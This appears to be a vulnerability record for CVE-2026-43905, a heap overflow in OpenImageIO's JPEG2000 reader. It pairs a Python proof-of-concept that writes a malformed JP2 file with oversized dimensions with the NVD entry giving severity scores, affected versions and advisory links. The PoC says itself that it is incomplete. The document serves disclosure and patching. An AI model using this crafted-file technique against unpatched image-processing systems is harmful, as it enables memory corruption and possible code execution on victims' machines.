CVE-2026-43905

import struct # PoC for CVE-2026-43905 # This script generates a malformed JPEG2000 file to trigger the integer overflow. # Note: Actual exploitation requires a valid JP2 header structure conforming to the OpenJPH parsing logic. def create_exploit_jp2(filename): with open(filename, 'wb') as f: # Signature and File Type boxes (Simplified) f.write(b'\x00\x00\x00\x0c\x6a\x50\x20\x20\x0d\x0a\x87\x0a') # JP2 Signature f.write(b'\x00\x00\x00\x14\x66\x74\x79\x70\x6a\x70\x32\x20') # ftyp jp2 # Image Header Box (ihdr) # To trigger overflow: w * h * ch * bpp > INT_MAX # Using large dimensions to cause the integer wrap in the calculation. w = 65536 h = 65536 nc = 4 # Number of components bpc = 7 # Bits per component (0x07 means 8 bits) ihdr = struct.pack('>I', 22) # Length ihdr += b'ihdr' ihdr += struct.pack('>I', h) # HEIGHT ihdr += struct.pack('>I', w) # WIDTH ihdr += struct.pack('>H', nc) # Components ihdr += struct.pack('>B', bpc) # Bits per component ihdr += struct.pack('>B', 7) # Compression type (7 = OpenJPH) ihdr += struct.pack('>B', 0) # Colorspace unknown ihdr += struct.pack('>B', 0) # IPR f.write(ihdr) # Color Specification box (colr) - minimal f.write(struct.pack('>I', 15)) f.write(b'colr') f.write(struct.pack('>B', 1)) # Method f.write(struct.pack('>B', 0)) # Precedence f.write(struct.pack('>B', 0)) # Approximation f.write(struct.pack('>I', 16)) # Enumerated colorspace (sRGB) # Contiguous Codestream box (jp2c) # This would require a valid codestream to reach the parsing logic in jpeg2000input.cpp f.write(b'\x00\x00\x00\x14\x6a\x70\x32\x63') f.write(b'\xff\x4f\xff\x51\x00\x29\x00\x00\x00\x00\x00') # SOC, SIZ marker start if __name__ == "__main__": create_exploit_jp2("cve_2026_43905_poc.jp2") print("Malformed JP2 file generated.")

{"cve": {"id": "CVE-2026-43905", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:06.447", "lastModified": "2026-05-15T19:43:11.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, jpeg2000input.cpp:395 computes buffer size as const int bufsize = w * h * ch * buffer_bpp using signed 32-bit arithmetic. When the product exceeds INT_MAX, the result wraps to 0 or a small value. m_buf.resize() allocates an undersized buffer, and subsequent pixel write loops cause heap overflow. Conditional on USE_OPENJPH build flag. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openimageio:openimageio:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.0.18.0", "matchCriteriaId": "90B206C1-E7DB-4175-8077-C76D5C8533AF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openimageio:openimageio:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.1.4.0", "versionEndExcluding": "3.1.13.0", "matchCriteriaId": "34BBB27F-256F-4D15-A394-158343CB8B4D"}]}]}], "references": [{"url": "https://github.com/AcademySoftwareFoundation/OpenImageIO/security/advisories/GHSA-pj45-cf3g-28gq", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/AcademySoftwareFoundation/OpenImageIO/security/advisories/GHSA-pj45-cf3g-28gq", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}